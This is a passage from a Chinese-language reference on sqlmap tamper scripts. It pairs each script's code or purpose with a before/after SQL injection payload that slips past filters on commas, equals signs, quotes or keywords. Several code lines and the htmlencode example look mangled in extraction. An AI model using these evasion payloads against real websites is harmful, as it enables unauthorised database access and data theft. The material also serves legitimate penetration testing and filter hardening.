正文
to
limit 1 offset 2
适用数据库:
MySQL
commalessmid.py:
将 payload 中的逗号用 from for 代替,用于过滤了逗号并且是三参数的情况
mid(version(), 1, 1)
to
mid(version() from 1 for 1)
适用数据库:
MySQL
commentbeforeparentheses.py:
retVal = re.sub(r"\b(\w+)
(
", "\g
<1>
/**/(", retVal)
在某个单词后的第一个括号前面加入 /**/ ,用于过滤了函数的情况
union select group_concat(table_name)
to
union select group_concat/**/(table_name)
适用数据库:
ALL
concat2concatws.py:
payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")
用于过滤了 concat 函数的情况
concat(1,2)
to
concat_ws(mid(char(0), 0, 0), 1, 2)
适用数据库:
MySQL
equaltolike.py:
retVal = re.sub(r"\s
=\s
", " LIKE ", retVal)
将等号用 like 代替,用于过滤了等号的情况
select * from users where id=1
to
select * from users where id like 1
适用数据库:
ALL
escapequotes.py:
return payload.replace("'", "
\
'").replace('"', '
\
"')
将单引号转换成
\
\' ,双引号转换成
\
\" ,用于过滤了单引号或双引号的情况
1' and 1=1--+
to
1
\
\' and 1=1--+
适用数据库:
ALL
greatest.py:
用 greatest 代替大于符号,用于大于符号被过滤了的情况
1 and a>b
to
1 and greatest(a,b+1)=a
ALL
halfversionedmorekeywords.py:
在关键字前添加注释,用于过滤了关键字的情况
union select 1,2
to
/
*
!0union/
*
!0select 1,2
适用数据库:
MySQL < 5.1
htmlencode.py:
return re.sub(r"
[
^\w]", lambda match: "%d;" % ord(match.group(0)), payload) if payload else payload
从名字就知道是将 payload 进行 html 编码
1' and 1=1--+
to
1' and 1=1--+
适用数据库:
ALL
ifnull2ifisnull.py:
将 ifnull() 函数转为 if(isnull()) 函数,用于过滤了 ifnull 函数的情况
ifnull(1, 2)
to
if(isnull(1), 2, 1)
适用数据库:
MySql
informationschemacomment.py:
retVal = re.sub(r"(?i)(information_schema)
.
", "\g
<1>
/**/.", payload)
在 information_schema 后面加上 /**/ ,用于绕过对 information_schema 的情况
select table_name from information_schema.tables
to
select table_name from information_schema/**/.tables
适用数据库:
ALL
lowercase.py: